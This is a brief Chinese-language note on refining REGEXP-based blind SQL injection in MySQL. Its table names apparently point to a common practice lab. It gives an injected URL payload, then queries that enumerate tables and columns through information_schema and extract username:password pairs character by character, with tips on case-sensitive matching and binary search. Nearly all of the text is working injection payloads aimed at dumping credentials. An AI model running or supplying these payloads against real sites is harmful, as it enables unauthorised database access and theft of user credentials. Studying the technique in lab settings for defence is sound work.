regexp盲注的一些改進

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

　　這是以前看別人的文章寫的exp,以爲有點囉嗦,其實能夠很直白的寫

select group_concat(table_name) from information_schema.tables where table_schema='security';
select((select group_concat(table_name) from information_schema.tables where table_schema='security') regexp binary '^e');
select group_concat(column_name) from information_schema.columns where table_name='users';
select((select group_concat(column_name) from information_schema.columns where table_name='users') regexp binary '^i');
select group_concat(username,':',password) from security.users;
select((select group_concat(username,':',password) from security.users) regexp binary '^D');

幾個注意點

1 能夠直接用group_concat所有匹配出來

2 mysql中用regexp是區分大小寫的,只有對取md5的時候不要緊,其餘時候要加上binary,不過取數據時就不用group_concat了,用limit一條一條取

3 regexp也能夠用二分法 '^[a-z]' 到 '^[a-h]'